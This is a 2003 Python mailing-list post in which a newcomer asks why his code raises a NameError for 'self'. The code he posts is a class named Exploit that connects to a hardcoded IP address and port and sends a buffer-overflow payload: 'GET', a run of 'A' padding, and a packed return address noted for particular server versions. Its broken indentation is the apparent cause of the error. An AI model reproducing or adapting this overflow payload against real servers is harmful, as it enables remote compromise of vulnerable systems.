Self Undefined Error

Brent Bailey brb5548 at fsu.edu
Tue Jan 14 05:05:09 CET 2003


I am new to python and I must not understand how to make correct
declerations.  Does anyone have any idea why I get, NameError: "self" is not
defined, for the following code.

import socket

import struct

import select

class Exploit:

def init(self):

        pass

def setup(self):

        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        self.s.connect(('65.40.32.224',5678))

        self.returnAddress = 0x1834c # 1.43 log(2,"unknown file name!")

        self.returnAddress = 0x175fa # 1.42.7 log(2,"unknown file name!")

        self.paddingSize = 1500-20-20+1004+7*4

# 1500 is MTU

# 20 IP header

# 20 TCP header

# 1004 for allocated space

# 7 saved registers

        self.toSend = "GET"

        self.toSend += "A"*(self.paddingSize-len(self.toSend))

        self.toSend += struct.pack(">L", self.returnAddress)

def attack(self):

        self.s.send(self.toSend)

        (r,w,x) = select.select([self.s],[],[],2)

if self.s in r:

        print self.s.recv(100000)

        self.s.close()

def run(self):

        self.setup()

        self.attack()

def main():

        ex = Exploit()

        ex.run()

        main()






More information about the Python-list mailing list